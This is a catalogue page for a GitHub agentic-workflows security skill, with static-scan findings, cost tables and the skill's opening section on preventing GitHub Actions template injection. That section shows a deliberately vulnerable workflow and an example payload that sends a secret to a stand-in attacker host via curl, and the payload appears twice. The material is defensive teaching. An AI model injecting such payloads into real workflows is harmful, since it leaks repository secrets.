GitHub Agentic Workflows is a GitHub CLI extension that lets developers define AI-assisted repository automation in Markdown and run it through GitHub Actions. It is intended for tasks requiring interpretation or reasoning, such as issue triage, pull-request review, CI investigation, documentation maintenance, and dependency analysis. The catalogue entries provide skills and agents for working with these workflows.
Borrowing it
Nothing to install: this file belongs to github/gh-aw. Take a copy, put it at the same path in your own repository, and replace the rules that are about this project with yours.
curl -O https://raw.githubusercontent.com/github/gh-aw/main/.github/skills/developer-security/SKILL.mdgit clone --depth 1 https://github.com/github/gh-awWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/github/gh-aw/developer-security)<a href="https://agentmods.dev/skills/github/gh-aw/developer-security"><img src="https://agentmods.dev/badge/skills/github/gh-aw/developer-security/github.svg" alt="Measured on agentmods" height="20"></a>Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.
<a href="https://agentmods.dev/skills/github/gh-aw/developer-security"><img src="https://agentmods.dev/badge/skills/github/gh-aw/developer-security.svg" alt="Reviewed on agentmods" width="80" height="20"></a>- NVIDIA SkillSpector warn
SkillSpector: 4 findings, up to high
These are SkillSpector’s own severities. On a checked sample its high-severity flags on skills were ~96% false positives — a documented command, a public API, a “never do X” rule — so we show them as a caution to read, not a verdict. Why →
- high Privilege Escalation · line 23 Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.Fix: Remove references to credential paths. Use environment variables or secrets managers. For docs, use placeholder paths (e.g., /path/to/config). Never load .env or token files in production code paths.
- high Anti-Refusal · line 369 Skill instructs the agent to omit warnings, disclaimers, or ethical commentary. Stripping safety caveats hides risk from the user and is a common jailbreak preamble.Fix: Remove instructions that suppress warnings, disclaimers, or ethical commentary. Let the agent surface safety-relevant caveats to the user.
- medium Excessive Agency · line 23 Skill grants unrestricted tool access without appropriate constraints. An agent with unfettered tool access can perform arbitrary actions including file modification, network requests, and code execution.Fix: Restrict tool access to only the tools required for the skill's stated purpose. Use an explicit allowlist rather than granting blanket access.
- medium Data Exfiltration · line 260 Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.Fix: Verify the destination URL is trusted and necessary. Remove or replace with documented APIs. Ensure no secrets, tokens, or PII are transmitted.
What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00032 | $0.02759 |
| Opus 5.5 | $0.00013 | $0.01104 |
| Sonnet 5.5 | $0.00006 | $0.00552 |
| Haiku 4.5 | $0.00003 | $0.00276 |
Grade A, and why
developer-security scanned grade A with 2 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 3d ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Unrestricted tool accesslowExcessive agency
A wildcard tool grant or "run any command" leaves no least-privilege boundary at all.
Template injection occurs when untrusted input is used directly in GitHub Actions expressions, allowing attackers to execute arbitrary code or access secrets. Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.
Makes network callslowCapability
Not a fault in itself. Listed so you know the mod talks to something, and to what.
**Why vulnerable:** Issue title is directly interpolated. An attacker can inject: `"; curl evil.com/?secret=$SECRET; echo "` How it starts
The opening of the file, as written. The whole thing — 399 lines — stays where its author put it; the contents beside it link to each section on GitHub.
Security Best Practices
Use this reference for security guidelines when implementing or reviewing gh-aw workflow features and Go code.
Table of Contents
- Template Injection Prevention
- Cross-Trigger Nullability
- Shell Script Best Practices
- Supply Chain Security
- Workflow Structure and Permissions
- Static Analysis Integration
- Review Reporting
- Security Checklist
Template Injection Prevention
Template injection occurs when untrusted input is used directly in GitHub Actions expressions, allowing attackers to execute arbitrary code or access secrets.
Understanding the Risk
GitHub Actions expressions (${{ }}) are evaluated before workflow execution. If untrusted data (issue titles, PR bodies, comments) flows into these expressions, attackers can inject malicious code.
Insecure Pattern
# VULNERABLE: Direct use of untrusted input
name: Process Issue
on:
issues:
types: [opened]
jobs:
process:
runs-on: ubuntu-latest
steps:
- name: Echo issue title
run: echo "${{ github.event.issue.title }}"
Why vulnerable: Issue title is directly interpolated. An attacker can inject: "; curl evil.com/?secret=$SECRET; echo "
Secure Pattern: Environment Variables
# SECURE: Use environment variables
name: Process Issue
on:
issues:
types: [opened]
jobs:
process:
runs-on: ubuntu-latest
steps:
- name: Echo issue title
env:
ISSUE_TITLE: ${{ github.event.issue.title }}
run: echo "$ISSUE_TITLE"
Why secure: Expression is evaluated in controlled context (environment variable assignment). Shell receives value as data, not executable code.
Data Flow Comparison
graph TB
subgraph "Unsafe Pattern"
A1[Untrusted Input] --> B1["Template Expression<br/>${{ ... }}"]
B1 --> C1[Direct Interpolation<br/>into Shell Command]
C1 --> D1[Code Execution Risk]
style D1 fill:#f88,stroke:#f00
end
subgraph "Safe Pattern"
A2[Untrusted Input] --> B2["Template Expression<br/>${{ ... }}"]
B2 --> C2[Environment Variable<br/>Assignment]
C2 --> D2[Shell Receives<br/>Data Only]
D2 --> E2[No Code Execution]
style E2 fill:#8f8,stroke:#0f0
end
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 3d ago Changed · +3 lines 5e68897730c9
- 4d ago Changed · +8 lines b5640b57d313
- 1mo ago First seen · 388 lines · 32 tokens per session scan A 8adc14a88fd0
developer-security is a skill published in the GitHub repository github/gh-aw (5,406 stars, last pushed today), licensed MIT. It adds 32 tokens to every session and 2,759 once invoked, about $0.0001 per session on Opus 5.5. A static security scan graded it A with 2 findings (unrestricted tool access, makes network calls). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-30.
Other skills, from other repositories
watch-commit
Watch a GitHub commit for CI status changes using the gh-watch extension. Use when the user wants to monitor a commit's CI checks, wait for a build to finish, or track CI progress on a specific SHA.
ci-cd
CI/CD pipelines for GitHub Actions and Docker-based deployments — lint, test, build, push, deploy stages; environment secrets; branch-gated workflows; health-check rollbacks; and PM2/systemd service restarts.
Code Coverage Analysis
Measure and enforce test coverage with Istanbul/nyc, c8, Jest, and Vitest. Covers branch versus line coverage, per-directory thresholds, CI gates, and correctly excluding generated code from reports.
Checkly Monitoring as Code
Teach agents to build synthetic monitoring as code with Checkly, including Playwright browser checks, API checks, alerting, and CI deploy workflows.
CI Test Sharding Parallelization
Teach agents to shard and parallelize Playwright, Jest, and pytest suites in CI to reduce wall-clock time while merging reports reliably.
GitHub CI Fix Debugging
Debug and fix failing GitHub PR checks by inspecting GitHub Actions logs, summarizing failure context, drafting fix plans, and implementing fixes after approval.